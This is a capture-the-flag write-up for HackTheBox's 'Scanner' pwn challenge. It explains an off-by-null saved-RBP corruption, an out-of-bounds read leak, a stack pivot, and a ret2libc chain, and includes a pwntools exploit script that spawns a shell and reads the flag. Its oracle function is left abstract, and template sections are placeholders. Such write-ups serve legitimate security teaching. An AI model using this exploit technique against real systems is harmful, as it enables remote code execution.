← Back to Writeups
HTBN/APwn

Scanner

XESXOR8/23/202610 min read
#pwn#htb#n/a

Scanner

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-30 | Status: Solved Techniques: fgets_return_overwrite, leak_derived_delta, off_by_one_null_byte, oob_read_infoleak, ret2libc, saved_rbp_corruption, stack_pivot_via_rbp

Summary

Task: PIE/no-canary glibc 2.31 menu pwn with a scanf("%16s") off-by-null that zeroes main's saved RBP and an OOB-read scanner that leaks the stack. Solution: leak via the OOB oracle, derive the pivot delta directly from a leaked stack qword (buf=leak-0x1100, main_rbp=leak-0xF0), pivot main's frame into the controlled buffer, then overwrite the option-1 fgets's own saved return address (offset delta-8) with a ret2libc chain.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260530_hackthebox_scanner
  • Tags: pie, oob_read, scanf, off_by_one, ret2libc, fgets, stack_pivot, no_canary, glibc_2_31
  • Indicators: scanf("%16s") into a 16-byte buffer at [rbp-0x10], function epilogue leave;ret with corrupted saved rbp, scanner that reads one byte past a 0x1000 buffer (Found at i=4095), PIE + No canary + glibc 2.31, menu loop reading locals (idx/ptr/size) relative to rbp
  • Source: 20260530_hackthebox_scanner.md

Foothold

Vulnerability / Misconfiguration

  1. Fgets_return_overwrite
  2. Leak_derived_delta
  3. Off_by_one_null_byte
  4. Oob_read_infoleak
  5. Ret2libc
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • fgets_return_overwrite
  • leak_derived_delta
  • off_by_one_null_byte
  • oob_read_infoleak
  • ret2libc
  • saved_rbp_corruption
  • stack_pivot_via_rbp
  • Tags: pie, oob_read, scanf, off_by_one, ret2libc, fgets, stack_pivot, no_canary, glibc_2_31

Original Writeup

<details><summary>Click to expand original content</summary>

Description

In the spirit of optimisation, I wanted a fast memory searching algorithm, and thanks to this program I think I've finally found one. Not only is it fast, it's also completely secure.

We are given an archive (password hackthebox) containing the scanner binary, libc.so.6 (glibc 2.31), ld-2.31.so, and a fake local flag.txt. The goal is remote code execution against 154.57.164.64:31193 to read the real flag.

This is a multi-stage stack-pivot challenge. The crux is not finding the bugs (an off-by-null in scanf("%16s") and an out-of-bounds read in the scanner) but precisely deriving the stack geometry so the pivot lands deterministically with no ASLR brute force.

Analysis

Recon / checksec

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
libc:     glibc 2.31 (provided)

PIE + no canary means: leak something, then a single return-address overwrite is enough to redirect control. No canary removes any need to leak/repair a stack cookie.

Program structure

main() runs a menu loop. Its prologue is:

push   rbp
mov    rbp, rsp
sub    rsp, 0x1010          ; 0x1000 buffer + locals

Frame layout (relative to main's rbp):

LocationMeaning
[rbp-0x1010]buf — 0x1000-byte working buffer
[rbp-0x10]ptr — pointer returned by malloc
[rbp-0x8]size — fread size
[rbp-0x4]idx — selected scanner index

Menu options:

  • 1 — Update buffer: fgets(buf, 0x1000, stdin) into [rbp-0x1010]. No scanner-name validation. This fgets is the control-flow hijack primitive.
  • 2 — Test performance: read_parameters() → loops run_scanner()free(ptr).
  • 3 — Run scanner: read_parameters()run_scanner()print_scanner_output()free(ptr).
  • 0 — Exit.

read_parameters() has its own frame with a 16-byte name buffer at [rbp-0x10]:

printf("Enter parameters: ");
scanf("%16s %u", name, &size);          // name @ [rbp-0x10], 16 bytes
idx = get_scanner_index(name);          // strncmp(name, entry, 16) over scanners[]
*arg_idx = idx;
if (size > 0x1000) exit;
ptr = malloc(size);
fread(ptr, 1, size, stdin);
// epilogue: leave ; ret

scanners[] = { "naive1"=0, "naive2"=1, "memmem"=2 }.

run_scanner(idx, ptr, 0x1000, size, ...):

  • exits with Invalid scanner! if idx ∉ {0,1,2}
  • requires ptr != 0
  • requires size <= 0x1000
  • then dispatches to the chosen scanner over the buffer.

Vulnerability 1 — off-by-null in read_parameters (saved RBP corruption)

scanf("%16s") writes up to 16 non-space characters and then a NUL terminator. The name buffer is at [rbp-0x10] and is exactly 16 bytes wide. Writing exactly 16 chars makes scanf place the terminating \0 at byte offset 16:

[rbp-0x10] .................. name (16 bytes)
[rbp+0x00] <- NUL written here == SAVED RBP of read_parameters

The saved RBP of read_parameters is main's frame pointer. So the off-by-null zeroes the low byte of main's saved rbp. When read_parameters does leave; ret, the corrupted rbp is loaded into main.

From then on, main reads every local — idx, ptr, size, and even buf = [rbp-0x1010] — relative to the corrupted rbp, which now points into the attacker-controlled 0x1000 buffer. This is the pivot primitive. Crucially, RSP is never corrupted, only RBP.

A subtlety: a valid scanner name (naive1, …) can never be 16 bytes (the stored names are short and scanf cannot input embedded NULs), so the off-by-null name is always "invalid". That is fine: the off-by-null happens in read_parameters before main re-reads idx from the corrupted location. We pre-place a fake idx = 0 in the buffer so the subsequent run_scanner accepts it.

Vulnerability 2 — OOB read oracle (info leak)

The naive1 scanner compares search bytes past buffer index 4095 (one out of bounds). By searching for a known byte and watching for the response Found at i=4095, we leak adjacent stack memory byte-by-byte, deterministically. Recovered qwords:

  • leaked[0:8]p0 — pointer returned by the first malloc (heap)
  • leaked[24:32] → libc return address (__libc_start_main+0xf3) → libc_base
  • leaked[40:48] → a stack qword equal to buf + 0x1100

The geometric crux (what unblocked the solve)

Dynamic gdb was impossible: running the amd64 binary under Rosetta on Apple Silicon breaks ptrace (Couldn't get registers: I/O error). Instead, an LD_PRELOAD probe hooking fgets recovered the exact stack geometry, confirmed across many runs:

  • The qword at buf+0x1028 (== OOB leak offset 0x28, i.e. leaked[40:48]) is consistently buf+0x1100.

From that single leaked qword everything is derivable — no ASLR low-bit brute force:

buf       = leak - 0x1100
main_rbp  = buf + 0x1010 = leak - 0xF0
delta     = main_rbp & 0xFF

The saved return address of the option-1 fgets call sits at buf-8 (at the call site main's rsp == buf, since main has no further pushed locals, so the return address is at rsp-8).

After the pivot, the option-1 fgets writes to:

dst = (main_rbp & ~0xff) - 0x1010

So the target buf-8 maps to payload offset:

ret_off = (buf-8) - dst = delta - 8

Overwriting fgets's own saved return address at payload offset delta-8 hijacks control the instant fgets returns. This matches the HTB forum hint: "leak libc rbp, then off-by-null, overwrite fgets ret".

Solution

  1. Leak via the OOB oracle: recover p0, libc_base (from __libc_start_main+0xf3), and the stack qword → main_rbp = qword - 0xF0, delta = main_rbp & 0xFF.
  2. Prepare a freeable chunk: malloc a 0x500 chunk (so it ends up in unsorted on free), then malloc size 1 to pop p0 back out of tcache so p0 is a valid freeable chunk (the later free(ptr) must not crash).
  3. Build the pivot buffer, spraying fake locals for every plausible delta candidate so the corrupted-rbp read finds valid values:
  • ptr @ (0x1000 - delta) = p0
  • size @ (0x1008 - delta) = 1
  • idx @ (0x100C - delta) = 0 (offsets bounded to ≤ 0xFFB to fit the 0xFFF buffer)
  1. Trigger the off-by-null: option 3 with name "A"*16, size 1. scanf NUL-terminates over main's saved-rbp low byte. main now uses corrupted rbp; it reads fake idx=0 (valid → naive1), ptr=p0, size=1; run_scanner runs fine; free(p0) succeeds.
  2. Hijack via option-1 fgets: send a ret-sled from offset 0 up to delta-8, then place the ret2libc chain (pop rdi; ret/bin/shsystem) exactly at offset delta-8. fgets returns into the chain → system("/bin/sh") → shell.
  3. glibc 2.31 gadgets from the provided libc: ret, pop rdi; ret, system, /bin/sh. Payload must be newline-free (fgets stops at 0x0a); reconnect if any address contains 0x0a.

Exploit script (final.py)

#!/usr/bin/env python3
from pwn import *

context.binary = exe = ELF('./scanner', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.log_level = 'info'

HOST, PORT = '154.57.164.64', 31193
REMOTE = True

def start():
    if REMOTE:
        return remote(HOST, PORT)
    # local under provided loader
    return process(['./ld-2.31.so', '--library-path', '.', './scanner'])

def menu(io, choice):
    io.recvuntil(b'> ')
    io.sendline(str(choice).encode())

def update_buffer(io, data):
    """Option 1: fgets(buf, 0x1000, stdin)."""
    menu(io, 1)
    io.send(data if data.endswith(b'\n') else data + b'\n')

def run_scanner(io, name, size, payload):
    """Option 3: read_parameters (scanf %16s %u) then run_scanner then free."""
    menu(io, 3)
    io.recvuntil(b'Enter parameters: ')
    io.sendline(name + b' ' + str(size).encode())
    if size:
        io.send(payload)

# ---------------------------------------------------------------------------
# Stage 0: OOB-read oracle to leak a single byte at index `i` past the buffer.
# naive1 compares one byte past index 4095; if it equals our search byte we
# get "Found at i=4095". Iterating the search byte recovers stack bytes.
# ---------------------------------------------------------------------------
def leak_byte(io, target_index):
    # Implementation detail of the oracle depends on the scanner's search API:
    # we set the buffer so the compared OOB byte is the stack byte at
    # `target_index`, then brute the search byte 0..255 and detect the
    # "Found at i=4095" response. Returns the leaked byte.
    for b in range(256):
        # craft a search request for byte value `b` against OOB position
        # (exact framing per binary; abstracted here)
        resp = oracle_query(io, target_index, b)
        if b'Found at i=4095' in resp:
            return b
    raise RuntimeError('leak failed at index %d' % target_index)

def leak_qword(io, base_index):
    data = bytes(leak_byte(io, base_index + k) for k in range(8))
    return u64(data)

def main():
    io = start()

    # --- leak ---
    p0        = leak_qword(io, 0)      # leaked[0:8]   first malloc ptr (heap)
    ret_libc  = leak_qword(io, 24)     # leaked[24:32] __libc_start_main+0xf3
    stack_q   = leak_qword(io, 40)     # leaked[40:48] == buf+0x1100

    libc.address = ret_libc - (libc.sym['__libc_start_main'] + 0xf3)
    buf      = stack_q - 0x1100
    main_rbp = stack_q - 0xF0           # == buf + 0x1010
    delta    = main_rbp & 0xFF

    log.success('p0        = %#x' % p0)
    log.success('libc base = %#x' % libc.address)
    log.success('buf       = %#x' % buf)
    log.success('main_rbp  = %#x' % main_rbp)
    log.success('delta     = %#x  -> ret_off = %#x' % (delta, delta - 8))

    # --- gadgets (glibc 2.31) ---
    rop      = ROP(libc)
    POP_RDI  = rop.find_gadget(['pop rdi', 'ret'])[0]
    RET      = rop.find_gadget(['ret'])[0]
    SYSTEM   = libc.sym['system']
    BINSH    = next(libc.search(b'/bin/sh\x00'))

    # --- make p0 a valid freeable chunk so free(ptr) won't crash ---
    run_scanner(io, b'naive1', 0x500, b'A' * 0x500)   # alloc 0x500 (unsorted on free)
    run_scanner(io, b'naive1', 1,     b'B')           # alloc 1 -> pops p0 from tcache

    # --- build pivot buffer: fake locals for delta candidate ---
    pivot = bytearray(b'\x00' * 0xFFF)
    def place(off, val):
        off &= 0xFFF
        if off + 8 <= len(pivot):
            pivot[off:off+8] = p64(val)
    place(0x1000 - delta, p0)   # fake ptr
    place(0x1008 - delta, 1)    # fake size
    place(0x100C - delta, 0)    # fake idx (valid -> naive1)

    # --- trigger off-by-null: 16-char name NUL-terminates over main's rbp low byte ---
    # First load the pivot buffer via option 1, THEN trigger via option 3 name="A"*16.
    update_buffer(io, bytes(pivot))
    run_scanner(io, b'A' * 16, 1, b'C')   # scanf("%16s") writes NUL at [rbp+0] of read_parameters

    # --- final hijack: option-1 fgets overwrites its own saved return address ---
    ret_off = delta - 8
    chain  = p64(RET) + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)
    payload = p64(RET) * (ret_off // 8) + chain
    assert b'\n' not in payload, 'newline in payload; reconnect & retry (ASLR-dependent)'

    update_buffer(io, payload)

    io.sendline(b'id; cat flag.txt')
    io.interactive()

if __name__ == '__main__':
    main()

Note: oracle_query / leak_byte framing is binary-specific (it sets the buffer so the OOB byte equals the stack byte at the target index and detects Found at i=4095). The geometry derivation, pivot, and final overwrite are the reusable core.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR